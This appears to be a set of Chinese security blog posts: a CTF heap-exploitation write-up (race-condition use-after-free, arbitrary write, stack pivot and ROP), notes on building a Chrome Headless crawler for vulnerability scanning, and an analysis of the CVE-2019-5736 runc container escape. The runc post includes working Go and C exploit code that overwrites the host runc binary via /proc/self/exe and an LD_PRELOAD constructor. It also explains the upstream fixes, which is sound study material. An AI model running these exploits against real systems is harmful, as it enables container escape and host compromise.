}
} else {
printf("Error: job worker limit\n");
}
break;
case 2:
if(n_workers < 4) { // max 4 workers
n_workers++;
fiber_new(worker);
} else {
printf("Error: reached worker limit\n");
}
break;
case 3:
printf("Working...\n");
fiber_yield();
printf("Finished working for now.\n");
break;
case 4:
printf("Worker ID: #");
scanf("%x", &wid);
fgetc(stdin); // consume new line
if(fiber_pause((ucontext_t *)wid) == 0) {
printf("Pausing worker #%08x.\n", wid);
} else if(fiber_resume((ucontext_t *)wid) == 0) {
printf("Resuming worker #%08x.\n", wid);
} else {
printf("Error: Worker #%08x not found.\n", wid);
}
break;
case 5:
while(1) {
struct job *job = pop(&result_stack);
if(job == NULL) {
printf("No more results right now. Try again later.\n");
n_results = 0;
break;
} else {
printf("Job #%08x result: %08x\n", job->id, *job->result);
free(job->result);
free(job);
}
}
break;
default:
return 0;
}
}
return 0;
}

主要功能提供是crc的计算,在此之前我还去特意复习了一下crc,大学学的几乎全忘了 :(

整个过程相当于一个协程池,job_stacktaskswokers相当于协程,关注点在于什么切的状态。最先遇到切状态的点在于pop里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void* pop(struct node **stack) {
struct node *old_head, *new_head;
while(1) {
old_head = *stack;
if(old_head == NULL){
return NULL;//empty stack case
}
new_head = old_head->next;
fiber_yield();//exploit here
if(*stack == old_head) {
*stack = new_head;//if exploit properly, *stack can be setted to a dangling pointer
break;
}
}
void *result = old_head->entry;
free(old_head);
return result;
}

对于临界区的正常读写处理应该是先给临界区加锁。比如这里pop应该是一个原子操作,包括出栈和读写。但是这里你可以看到的是,它却在读以后,并没有出栈,而是直接切了状态。这样做其实也没有问题,在多线程操作的如果不能加锁,在进行对临界区数据处理的时候,应该进行相应的数据效验,判断这个拿到的数据是不是有效的。它也做了这个操作,但是这个check操作显然不太合适,仅仅比较了拿到的数据 是否还是栈顶元素,并没有进一步验证数据的内容完整性。

起初这个题我是x64编译,x64编译和x32这里有一点点小差异。差异在哪呢?

就是当malloc(sizeof(struct job)) free 掉以后会进入fastbins[0]nodejob->result一样。其实这里也影响不大,照样可以让job->result malloc到我们想要的fastbin chunk

这里的exp可能有一点绕。因为一直在会经历很多次出栈压栈。目标chunk的位置的引用一直在变。

具体exp的过程就是

  1. 申请开始2个worker,这里开始就直接申请两个worker是有好处的便于计算heap address。
  2. 再添加两个job。
  3. 第一次fiber_yield。第一次fiber_yield ,两个worker的状态都会停在pop的地方,拿到的job都是栈顶元素。
  4. 暂停第一个worker,再次fiber_yield ,让第二个worker处理完栈顶的job。把结果压入结果栈。
  5. 输出结果,在这里输出的结果的时候。同样会经历pop,第二个worker也会处理完,把结构压入结果栈。接下来就是输出结果,输出结果的时候首先会释放result_node ,再释放job->result, 这两个都是在32位下都是fastbin[0]0x10下面的chunk,这个时候很巧妙是fastbin的结构。

首先是job入栈,然后是job_node出栈,然后result_node入栈,然后result_node出栈,同时释放所有job结构,但是这里job->input始终是不会释放的。正是因为这种对称的流程,在完成两个job以后,fastbin[0]会有四个chunk。如果再次分配正常job,确保input的大小还是大于0xc。释放的第一次栈顶node内存空间,同样还是栈顶node。

这时候再次恢复被pause的worker1,check的条件还是成立。这里会继续将栈顶元素出栈。同时栈顶变成了原先第二个job_node,但是这个job_node 现在还躺在fastbin里面。所以这里造成了一个UAF。

如何利用这个UAF来改变进程控制呢?简单

再次把worker1 pause掉。只要一个worker处理就行了,两个worker指向现在都是一样的,都是在fastbin里面的那个node。仔细看malloc的流程。如果这次让input的size小于0xc,input也会拿到0x10的chunk,这个uaf指向的node 就会被分配给接下来的job->result

这时在来一次yield。会开始计算我们新分配的job,同时结果写进了job->result, 也写进了next_job_node的entry。所以这里我们可以拿到一个任意地址的job结构。同时有了这个伪造job我们就可以射任何地方了

1
2
3
4
5
6
struct job {
unsigned int id;
unsigned int len;
unsigned char *input; //写的内容 当然这里还是要爆破滴滴滴
unsigned int *result; // 写哪里
};

这道题因为crc的存在。不能直接写,得爆破一下。 再就是考虑设哪里,射__malloc_hook 这些需要先leak先libc_base,所以这里还是得射stack上,来搞ROP。这也是这题我学到的东西。

worker的栈在heap上,所以这道题射worker的栈,第一步就是切栈,把栈切到事先准备好的job的input上,前面已经说过了这里job->input永远都不会被释放,所以这里还是安逸的。如何切呢?

在fiber_yield会用用leave/ret来切上下文。 leave == mov esp ebp; pop ebp.所以这里最好的就是在这里直接射ebp。holling师傅没有用算术gadget来加减 got表上的函数地址来计算system的地址。直接用的是putscanf的函数调用,这里跳内存方式也很精髓,也不能说跳内存,应该是循环调用函数。循环的用leave来切栈。在x32确实很方便。

这道题花费前前后后应该1天多。但是值得,工作的时候无法一直看,只能断断续续的看。第一次看这种类型题,但是人生有很多第一次。以后出现并发的先看临界区。:)

关于 Chrome Headless 漏扫爬虫的一些思考

引言

去年5月初识Chrome Headless,带我走进了一个全新的领域,恰好那时学校要求去做一个爬虫。经过一段时间信息的收集,看见了fate0师傅写的关于动态爬虫漏扫文章,觉得非常不可思议,只能用amazing来形容。于是我决定实现它,但是前前后后几乎一年多的时间,断断续续的写。以至于最后也变成了我的毕业设计,感触很多,思考也很多。

如今关于用chrome headless来构造爬虫的资料也有许多,所以这里我不会过多从大方向去介绍它,我想讲一讲关于某些细节的实现。

The Start

第一个摆在我面前的问题是,我应该用哪种方式去操作CDP。

这很重要会决定后面应该去怎么写,我首先尝试的是官方出品的puppeteer https://github.com/GoogleChrome/puppeteer

这是我的第一个选择,nodejs写的,但是经过一番简单的尝试以后,我并没有决定使用它,转而又去使用了另一个也是用nodejs写的package-chrome-remote-interface

https://github.com/cyrus-and/chrome-remote-interface

这个包的调用方法更加的贴近原生的CDP的api,于是我选择了它,但这两种写法都是基于nodejs的,在这其中我遇到了一个没有sleep函数的尴尬,因为最开始我需要使用sleep来等待页面,这其中包括页面的加载和对页面的处理时间,而且也不好动态判断,关于等待页面加载和页面处理时间点的处理,后面我会详细讲一下。

最后实在不太喜欢await的语法,但是我还是比较喜欢callback的写法。于是又一次结束了这段时间的尝试,后来我想要不要用go来试试,最好我认定了go是最好的处理方式。 go是最直观的阐述了什么叫多线程的一门语言 :)

于是我直接去找了github 上star最多的chromedp,用了之后却发现其实不太好用,还不如自己重新造个轮子,这个package竟然都不能自定义给CDP的事件添加回调,于是我去官方提了一个issue,引了很多人的讨论

https://github.com/chromedp/chromedp/issues/252](https://github.com/chromedp/chromedp/issues/252

也有很多人使用了比较巧妙的hook方法,只是这一切都来的太迟了。我早已经了fork了原来的项目,添加了可以自定义给CDP添加回调的接口,删掉了几乎chromedp里面所有包装了CDP中DOM模块的接口,我更喜欢原生的js在游览器的console里面执行,修复了一些在headless下的一些小bug,比如在headless下面并不能正常的关闭游览器,初步可用。

在今年3月,官方也决定了重构整个chromedp,发布了dev版,但是还是先前说的那样,这一切都来的太迟了,我也没有重新用过重构后的chromedp,但是应该不会太差吧。其实原先的chromedp并没有兼容的headless下面的CDP,而是面向正常的可视化下的chrome浏览器,所以或多或少会存在一些问题,但是这些问题也并非是不可解决的。

页面加载等待时间的确定 && 页面中爬虫脚本执行完毕的时间点的确定

第一个时间点的确定,其实就是什么时候该往页面去注入JS,首先要考虑的是什么时候标志着页面趋近于稳定状态。

关于这个问题fate0师傅设计了一种等待模式,或多或少我觉得有些稍微复杂了一些,于是我决定去看看能不能找到更加稳定的时间点,我回过头又去重新看一遍页面加载过程的生命周期,多了几个fate0师傅没有提到的几个事件,于是经过研究这几个事件,发现也是不能绝对预测的。最后还是把目标锁定在了DOMContentLoadedLoaded这两个事件上,也是在页面js中经常检测页面变化所使用到的事件,fate0师傅所提到的顾虑也是关于这两个事件。

一般的框架语言或者业务逻辑的需求都会去绑定这两个事件,去执行一些操作,注入js的时间必须靠考虑到这两个时间点,如果只是单纯的去考虑这两个事件,比如完全等到页面停止转圈以后再注入js,但是如果存在一个比较大的资源文件,比如字体视频图片,那么去等待它的加载是完全没有必要的,那么再将范围缩小,考虑几个必要条件,注入的爬虫js脚本肯定是需要DOM树的支持,如果页面原有的js绑定了这个时间点,那么它势必会做一些操作,这些逻辑通常包括的是初始化一些过程,这对于页面的完整性有很重要的意义,我们不能去干扰到它,所以我们需要找到一个时间点是这些原有的回调过程刚好结束以后的某个时间点。

如何确定这个时间点呢?

其实这里关于DOMContentLoaded之前我的理解一直是错的。触发页面的DOMContentLoaded的时间点其实是在用户绑定的操作完成以后才发生的。这里我使用了F12里面preformance功能所观察到的,通过这个功能可以实时的观测运行时preformance.timing的变化,通过测试发现如果绑定多个回调函数在DOMContentLoaded上时,相应的回调函数调用的时间是位于domContentLoadedEventStartdomContentLoadedEventEnd之间,而DOMContentLoaded发生在domContentLoadedEventEnd之后一小段时间里。load也一样,也是发生在loadEventEnd之后。

所以这里有一个很重要的信息是,在考虑监听DOMContentLoadedload时候并不需要去关注用户是否在这里绑定了回调函数,因为已经执行完毕了。所以在注入js的时间点上,我使用是等待DOMContentLoaded,然后直接注入js,可能存在一些不容易被发现的问题,如果有师傅发现在这个点有好的思考,欢迎交流。

第二个时间点的确定,爬虫脚本执行完毕的时间点。如何去标志这个时间?

在最开始也困扰了我很长时间,爬虫脚本执行完毕以后的结果,应该是页面又开始趋近于稳定,第一次稳定是发生在页面的加载过程。如果你去仔细想想这爬虫脚本执行整个过程的话,其实比较复杂且不可能来预测的,所以我第一次是用sleep来等待一个合适的时间。这样做其实非常不妥,肯定不能是等待固定的时间,随着页面复杂度的增加,这个等待时间也应该是正向增长的,随之而来的问题是怎么确定页面的复杂度?

如果细心观察的话,在往页面注入js的时候,如果是比较简单的表达式,会直接返回相应值,而如果是不能立即返回的复杂表达式的时候,这个时候会返回一个inject-id,关于这个差异我又去仔细读了一遍CDP的文档,发现了在runtime模块又发现了一个有意思的接口 Runtime.awaitPromise,当把inject-id作为objectId参数传递给这个接口的时候,它会等到我们注入js脚本完全结束以后才会返回,我们可以用它来阻塞当前的控制进程,这里就实现了标志爬虫结束的时间点。

避免爬虫进入死循环

爬虫在遍历节点的过程,可能进入死循环,这个东西很奇妙,你会遇到,也可能遇不到。最终我解决这个问题的方法就是--”让我们的爬虫尽可能模拟一个正常人去浏览页面“,在写js爬虫尽量去掉一些反人类的逻辑。

关于如何遍历页面的节点和监控页面节点的新变化,fate0师傅已经的很详细了,我在这里不再赘述,其中fate0师傅提到了首先要对所有节点做一次深拷贝,这个操作其实不仅仅在开始就要做,在后面的每一次深度遍历之前,都需要再做一次,收集当前处理节点下的静态子节点。关于节点与节点之间处理的时间间隔,这个也十分重要,如果你增加有过类似的经历,在不加时间间隔的时候,form请求会被cancel掉,在网络层你会拿不到form的请求,关于这个时间间隔是多少,我也无法去准确描述,应该根据你所处的环境去判断,如果能设计出一种自适应的机制,那一定会很棒!

关于用MutationObserver来监控页面节点时候,有一点你需要知道的它是不会立即返回页面节点的变化,它会等到一次DOM操作完全结束才会返回。

在这里我讲一个我遇到的进入死循环的问题,应该是在用爬虫测试wp的时候发生的,有这样一个情况,有两个按钮,一个变化,另一个也变。这导致一直在通过MutationObserver接受相同的records,然后陷入死循环,内存暴涨,最后chrome crash。这个地方我调了好一会也才找到问题发生的地方,这个情况应该去怎么样处理呢? 经过我的仔细分析因为相关的页面变化没能及时返回,这个时候其实页面已经变化了,但是又回去处理旧节点,这地方就会出现问题。然后我仔细了思考了一下,人在面对这种问题的时候,应该怎么处理,人在点击某个按钮之后,等待页面发生变化之后,在这个变化的基础上,再去做一些操作。这很好理解,我们不能切状态,必须马上响应当前的变化,所以我调整了爬虫,在每次对节点处理之前,我都会通过ob_callback_func(ob.takeRecords());这一步先清空记录页面变化的records,确保之前的变化都能被响应。

这个地方的处理是玄之又玄,你可能一时间无法想到可能存在隐藏的问题,陷入死循环,让爬虫脚本无法正常结束,其实说白了,这个爬虫还需要经过大量的前端应用识别,来进一步优化。 :(

网络层的处理

这一节是关于如果拿到链接的一些细节,如果你想全部在网络层拿到所有的链接。

这个有一个工具不得不提ajax-hook,因为异步请求是会被其他操作cancel掉的,你需要去完全hook掉xhr,让ajax全部改为同步的,这样所有的请求都可以在网络层拿到,关于是否放行xhr,这个也没有固定的选择,又一个纠结点,xhr的response是否会产生新的链接,这是我们无法预测的。

在第一次遇到重定向链接的时候,让我又开始重新思考网络层拦截的流程,我之前的策略是放行page.navigate,然后之后的请求全部abort,在这里就很尴尬了,遇到了重定向的返回,页面直接变空白。

所以不得不重新想一下具体的流程。所以策略又变为遇到重定向之后,直接放行。我又遇到了另一个问题,在文档中拦截到的请求是Network.requestIntercepted这个事件,这个事件是包含redirectUrl这个字段,当然这个字段不为空时,代表拦截的请求是重定向链接,这里需要结束一下关于网络层的拦截器的设置,是可以指定拦截的时候,分为请求发起的时候,和接受到请求响应的时候,这两个时间点,由于文档不是太清晰,加上设置的拦截点一直是发起request的时候,一直没有redirectUrl这个字段,遂去看了chromium实现此处的代码,这是我当时去看chromium源码的经历# Network.requestIntercepted for Redirect,所以此处另外我还得设置对response的拦截器,那会不会造成资源浪费呢?

其实不会,这篇文章里有为什么,另外这里也提到其实这里也是可以通过改源码来实现的。

URL分类

这里我等了很长fate0师傅关于漏洞检测技巧的文章,但是等了很长时间也没有等到,想和师傅的文章印证一下自己的想法。所幸的是师傅关于这节的文章也在后来发出来了,可是我这个项目也已经很长时间没有动了。

这里为什么叫URL分类呢,主要是想谈一下关于去重的技巧,再到怎么把URL分解成一个一个 unit传给我们的漏洞检测或者fuzzing模块。这里的去重并不是简单的相同的去重而是相似去重。其实很多时候都是在猜程序员的心里想法。

一个url 可能如下:

1
http://90sec.org/something.php?a=view&page=1&pre=20
请求的结构分成固定的逻辑参数和非固定的参数。

很明显上述a是逻辑参数,而page和pre是用户指定的非固定的参数,那么这里就可以写一条临时规则 something\.php\?(a=view|page=\d*?|pre=\d*?){3},根据规则命中的数量,我们可以有理由去判断这是不是一个真正的规则。

我们策略是先遍历规则库,没有命中再去刷一遍已经跑过的列表,这只是简单的判断策略,URL很有可能是rewrite过的,这个时候你的参数分割符也要变,关于怎么判断是不是逻辑参数在这里只能靠去,然后靠后面的命中阀值再去判断,猜也有策略的比如1位数字,纯字母,这就很有可能是逻辑参数,固定长度单一数字串,可能是时间戳,固定长度的字符串,可能是hash,这里就完全靠你开发经验能不能猜中程序员的❤了。

再就是要把URL分割成unit,什么叫unit呢,用下面例子来解释:

1
2
http://90sec.org/something.php?a=view&page={{exp}}&pre=20
http://90sec.org/something.php?a=view&page=1&pre={{exp}}
你需要对你分割的URL参数再做一个排列组合,每次保证只有一个变量,我们的漏洞测试模块只需要去替换{{exp}}就行了,这里就可以把爬虫和漏扫分开为两个独立的模块。

在我的爬虫里面,我把fuzzing模块写成了.so,这里吐槽一下go编译出东西是真的大,import一个package,尽管只调用其中一个方法,都会把包的内容全部编译到二进制里面 !: ,还有一个吐槽点不能动态的卸载.so!!

再不重新编译chromium情况下的一些处理

fate0师傅提到了由于一些问题,我们不得不去重新编译chromium,来满足我们的需求,这个过程相对来说是比较困难的,首先第一个难题就是拉chromium的代码,然后改完之后再编译。

我逃了(有一个肯定会遇到问题,在触发了用window.open打开窗口的时候,这个时候拿到新的window的url之后需要去关闭它,如果你能直接重新编译chromium,你可以直接不允许在当前页面中打开一个新的页面。但是做不到的前面操作的时候,这个时候该怎么去处理呢?由于设计的时候,要做到并发,例如开5个tab,那么在chromium启动的时候,直接给它5个tab,后面打开的tab直接全部kill,缺点是后续你无法动态的添加tab,因为通过CDP我们无法去确定是谁打开了新的tab,对它来说无论是谁,都会被kill。

但是关于连续的location这种,我们还是无法处理。有种深深的无奈 (

尾声

其实还有很多点不能用语言去全部阐述,因为坑太多,再后来由于没有时间,做到最后,我想我实力再强一点,我为什么不能把chromium改造一个漏扫呢???

想到这里再去控制CDP变得有些索然无味,但是js的爬虫脚本还是值得思考的点。事隔这么长时间再来看这个东西,也别有一番滋味,本来在回家之前,打印了一份paper,一路上在火车上无聊也可以研究一番,是一个关于linux kernel比较经典洞,但是思前想去,如果发一篇分析其实效果也不太好,但是我本人还是对这个洞的精秒利用比较痴迷的。

于是在回到家以后有了此篇,如果有喜欢它的朋友,你有好想法或者疑问都可以来找我交流,这里还是非常感谢fate0师傅,虽然我们素未谋面,因为他文章才有了我的那些东西。

探究 CVE-2019-5736 Runc 容器逃逸

前言

在翻漏洞的偶然看见这个洞,发现很有意思,docker 容器逃逸,出现问题在于docker 里面的runc。runc是docker中最为核心的部分,容器的创建,运行,销毁等等操作最终都将通过调用runc完成。不仅仅是docker会受影响,依赖于runc的应用都会受到影响,该漏洞将会Rewrite runc,执行任意命令,下面我们来看一看它的实现方式。

proc && execve

/proc 是一个伪文件系统,这个伪文件系统让你可以和内核内部数据结构进行交互,与真正的文件系统不同的是它是存在于内存中而不是真正的硬盘上,linux 下有一个说法一切皆文件,所有在linux上运行的程序都在/proc下有一个自己的目录,目录名字为程序的Pid号,目录里面存储着许多关于进程的信息,列如进程状态status,进程启动时的相关命令cmdline,进程的内存映像maps,进程包含的所有相关的文件描述符fd文件夹等等

其中 /proc/pid/fd 中包含着进程打开的所有文件的文件描述符,这些文件描述符看起来像链接文件一样,通过ls -l 你可以看见这些文件的具体位置,但是它们并不是简单连接文件,你可以通过这些文件描述符再打开这些文件,你可以重新获得一个新的文件描述符,即使这些文件在你所在的位置是不能访问,你依然可以打开。

还一个 /proc/pid/exe 文件,这个文件指向进程本身的可执行文件。

除了这些进程pid文件目录内的文件,还有一个比较特别的/proc/self,这文件夹始终指向的是访问这个目录/proc/pid文件夹,所以除了通过自己的pid号访问进程信息,还可以通过/proc/self 来访问,不需要知道自己的pid号。

execve 是一个内核系统调用函数,execve()fork()clone()不一样,它不需要启动新的进程,它直接替换当前执行的文件为新的文件,为新的可执行文件分配新初始化的堆栈和数据段。替换可执行文件,意味着释放调用execve()文件的IO,但这个过程默认是不释放/proc/pid/fd中的打开的文件描述符,如果你在打开/proc/pid/fd中文件的时候,特别的传参O_CLOEXEC或者 FD_CLOEXEC,那么在execve替换进程的时候,将关闭所有设置了这个选项的fd,阻止子进程继承父进程打开的fd

动态链接

在可执行文件运行的时候,由操作系统的装载程序加载库,比如在linux 下由ld.so,ld-linux.so 查找并且装载程序所依赖的动态链接对象。这里有一个需要的注意的

1
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls -al /proc/self/exe
这个时候 /proc/self/exe 并不是指向你所想象的那样为 /bin/ls, 而是/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

还有一个熟悉的LD_PRELOAD的环境变量,用于指定的动态库加载,优先级最高,可以用他做很多事,这里也可以用到。

漏洞成因

尽管docker的本意并不是来做沙盒的,容器包含着虚拟的环境,在虚拟的文件系统里面依然是root 权限,但也是算比较低的权限,也默认了容器的安全性。看似容器独立存在,不可避免的需要去思考这个过程是不是存在问题。

进入正题,runc 完成容器的初始化 ,运行 ,执行命令。我们首先来看看它是如何执行命令的。我们首先启动一个基础的Ubuntu容器

图片

接着在容器里面运行下面监听进程启动程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package main

import (
"fmt"
"io/ioutil"
_ "os"
"strconv"
"strings"
)

func main() {
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
}
图片

上面过程我们通过监听 runc 和 ls 的执行,所以我们只需要执行

1
docker exec -it f3c ls
监听输出如下图 图片 首先是运行了docker-runc init,后执行了ls,可以看见过程中pid号没有变,可以想到runc 在启动新的进程的时候用的是syscall.Exec()execve(),在容器里面我们并不能运行docker-runc 因为namespace不一样,容器类的一切都被限定单独的namespace里面,但是你可以看到我是可以访问/proc下所有进程的信息,通过遍历/proc,我们可以得到runc 进程的pid号,并且我可以访问这个pid号下所有关于runc 的信息。同样包括runc的执行文件 ->/proc/pid[runc]/exe,这意味着我们是不是可以去尝试修改这个可执行文件,答案是不行,因为runc正在运行,如果你试着open 并且写东西进去,你会得到invalid arguments

如果想要写东西覆盖runc 必须等到runc运行结束。什么时候结束? 当execve() 运行新可执行文件。但是当runc 结束运行的时候,/proc/pid/exe将会被替换成新二进制可执行文件。所以这个时候去获得一个runc的fd文件描述符,并且保留下来,即 open()/proc/self/exe,并返回对应的fd, 这里打开的时候只需要O_RDONLY,这个时候你可以去看/proc/self/fd/下多了一个runc本身的fd,接着前面说到过,通过execve启动的新可执行文件是可以保留父进程打开的fd。

execve() 执行,会首先释放runc的IO ,这个时候就可以去写runc,通过前面打开 /proc/self/exe 拿到的fd,找到/proc/pid/fd/下对应的fd,这个时候可以用open(os.O_RDWR)打开runc,并且写入payload重置runc。

接着需要去思考如何在runc init 的时候去在进程里面进行open操作, 三种方法,分两种情况讨论:

  1. 在已经存在容器可以执行文件,通过docker exec 触发
  2. 构造恶意的容器,直接通过docker run 触发

第一种情况:

已经在容器里面了,你可以通过前面的方法等待docker-runc init 的执行,open() runc 获取fd, 再等待runc IO被释放。其中你可以通过覆盖docker exec 执行的二进制文件为 #!/proc/self/exe,到达覆盖之后执行的效果。 比如 /bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package main
import (
"fmt"
"io/ioutil"
_ "os"
"strconv"
"strings"
)
var payload = "#!/bin/bash \n echo hello > /tmp/funny"
func main() {

fd, err := os.Create("/bin/bash")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
//fmt.Println("[+] Waiting docker exec")
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}

var handleFd = -1
for handleFd == -1 {
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
流程可以理解为
循环等待 runc init的 PID --> open("/proc/pid/exe",O_RDONLY) -->循环等待execve()释放 runc的IO并覆盖runc二进制文件 --> execve()执行被覆盖 runc。

执行权限任意命令的权限为运行docker exec的权限。

第二种情况: 构造恶意的镜像,在运行容器的时候触发。这个时候你需要考虑,如何hook runc的运行过程,首先想到就是动态链接,可以设置环境变量LD_PRELOAD来给runc 添加一个动态库。这个动态库需要包含一个全局的构造函数,在被加载时候首先执行,即可以通过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

__attribute__ ((constructor)) void foo(void)
{
int fd = open("/proc/self/exe", O_RDONLY);
if (fd == -1 ) {
printf("HAX: can't open /proc/self/exe\n");
return;
}
printf("HAX: fd is %d\n", fd);

char *argv2[3];
argv2[0] = strdup("/rewrite");
char buf[128];
snprintf(buf, 128, "/proc/self/fd/%d", fd);
argv2[1] = buf;
argv2[2] = 0;
const char *ld_preload = "LD_PRELOAD";
const char *empty = "";
setevn(ld_preload,empty,1)
execve("/rewrite", argv2, NULL);
}
q3k 还提到一种方法,替换docker-runc中的动态加载库,这种方法和版本有关,我们可以先看一看docker-runc的动态加载库,

图片

可以看到有一个比较特殊的libseccomp,先去分析一下它的依赖,

图片

直接apt-get source libseccomp,seccomp 是linux 下一种安全模式,针对限制程序使用系统调用,PWN选手应该对他属性,很多用来做沙盒的环境,可以简单看一下的它的使用 列一些比较常见调用它的api seccomp_init 初始化过滤状态, seccomp_rule_add 增加过滤规则 seccomp_load 应用已经配置好的过滤内容

回到主题,前面说到我们这里可以去替换 libseccomp.so,在里面里面同样可以加一个全局的构造函数,在哪加呢? 可以去提供上面接口定义的位置src/api.c结尾直接加 。

前面说这种方法有一定的局限的情况,我尝试在低版本的docker-runc 里面是没有加载libseccomp.so,那么这种方法就不适用了,当然你也可以选择替换其他的动态库,还有一点q3k 的poc 里用来重写runc的可执行文件有一点小问题,我直接用它的poc时10次成功一次,发现问题出在写runc上,一直报错 Text file buzy , 怎么runc还会被占用呢,难道runc 在容器里又一次运行了?,经过我测试,在使用docker exec 执行命令的时候,容器里面只有 docker-runc init 一次,那么问题肯定出在容器外,由于我不想去看runc 实现过程,我把前面的简单的监测进程的程序再一次放到了容器外,于此同时再用docker exec 执行一次命令,如图下:

图片

果然在容器外面 runc 还会被再次运行,runc state 用来输出docker exec 执行结果,同样也有runc kill 和 runc delete 在后面的运行。所以这个写runc的过程可以在一个循环队列里面。稍微的改了改q3k的rewrite

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>


int main(int argc, char **argv) {
extern int errno;
const char *poc = "#!/bin/bash \n /usr/bin/touch /root/runc_test";
printf("HAX2: argv: %s\n", argv[1]);

while(1){
int fd = open(argv[1], O_RDWR|O_TRUNC);
if(fd>0){
printf("HAX2: fd: %d\n", fd);
int res = write(fd, poc, strlen(poc));
printf("HAX2: res: %d, %d\n", res, errno);
return 0;
}
}
return 0;
}

可以看到只要重写了runc ,docker 会自动帮你再次运行runc,下面看一看官方,对此的修复方式。

修复

官方前前后后修复了很多次,最终可以分为三种方法:

  1. memfd
  2. tmpfile
  3. bind-mount

其中tmpfile 使用文件的方法又可以分为,open(2)O_TMPFILEmkostemp(3).

接下来看看修复流程 ->

根据官方的commit runc/libcontainer/nsenter 多了一个cloned_binary.c, 并且runc/libcontainer/nsenter/nsexec.c 中nsexec()多了一行判断

1
2
if (ensure_cloned_binary() < 0)
bail("could not ensure we are a cloned binary");
根据nsenter 的doc 介绍,这是一个用来在runc init 之前设置namespace用的init 构造器,具体可以看看 nsenter.go 里面的内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package nsenter

/*
#cgo CFLAGS: -Wall

extern void nsexec();

void __attribute__((constructor)) init(void) {

nsexec();

}

*/
import "C"
使用了cgo包,根据cgo的语法,如果import "C"紧跟随在一段注释后面 ,那么注释里面的东西将会被被当做c 执行,即每次只要我们 import nsenter 包,就会执行nsexec(), nsenter 只在runc/init.go 下被引用,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import (
"os"
"runtime"
"github.com/opencontainers/runc/libcontainer"
_ "github.com/opencontainers/runc/libcontainer/nsenter"
"github.com/urfave/cli"

)

func init() {
if len(os.Args) > 1 && os.Args[1] == "init" {
runtime.GOMAXPROCS(1)
runtime.LockOSThread()
}
}

var initCommand = cli.Command{
Name: "init",
Usage: `initialize the namespaces and launch the process (do not call it outside of runc)`,
Action: func(context *cli.Context) error {
factory, _ := libcontainer.New("")
if err := factory.StartInitialization(); err != nil {
os.Exit(1)
}
panic("libcontainer: container init failed to exec")
},
}
可以看到只要执行 runc init的时候,nsexec()就会被执行,现在再具体去看看ensure_cloned_binary(),它用来判断/proc/self/exe是不是经过处理过,为了防止runc 被重写,官方最开始用的是memfd_create(2),可以用它在内存中创建一个匿名文件,并返回一个文件描述符fd,同时你可以传递一个 MFD_ALLOW_SEALING flag,它可以将允许文件密封操作,即将无法修改文件所在的,先将/proc/self/exe 写入 这个文件内,再用 fcntl(2) F_ADD_SEALS将这段文件内存密封起来。这样一来,你再用open(2),打开/proc/self/exe去写,将不会被允许。

同时还有一个open(2) O_TMPFILE 方法,将/proc/self/exe 写入 临时文件,这种方法受限于linux 内核版本问题,需要 >=3.11,而且也受限于 glibc。官方又扩展了另一种mkostemp(3)的方法用来写临时文件,没什么特别的。

上面三种方法都显得比较浪费,memfd_create(2) 的使用直接往内存写了一个runc 大概 10M,所以官方又提供了一种看起来是最简单的方法,用 bind-mount,直接使用 绑定挂载/proc/self/exe 到一个只能读的节点上,打开这个节点,再把这个挂载节点去掉。避免了对/proc/self/exe拷贝过程,但是和tmpfile 一样,你需要先创建一个临时文件,用来挂载/proc/self/exe

整个逃逸过程精髓在于对 /proc/pid 下结构的理解,/proc/self/exe指向进程的二进制文件本身,/proc/self/fd 可以继承父进程打开的文件描述符。namespace限制了很多东西,还有capabilities,限制了想通过/proc/exe/cwd 拿到runc的真实的路径。runc其实就是管理libcontainer 的客户端。问题还是在libcontainer上,在官方最后一次commit中,在判断是否经过处理的/proc/self/exe,会有一步判断是否设置了环境变量 **a _LIBCONTAINER_CLONED_BINARY** 标记处理过,如果我先设置这个环境变量会怎么样,有兴趣的朋友去试试。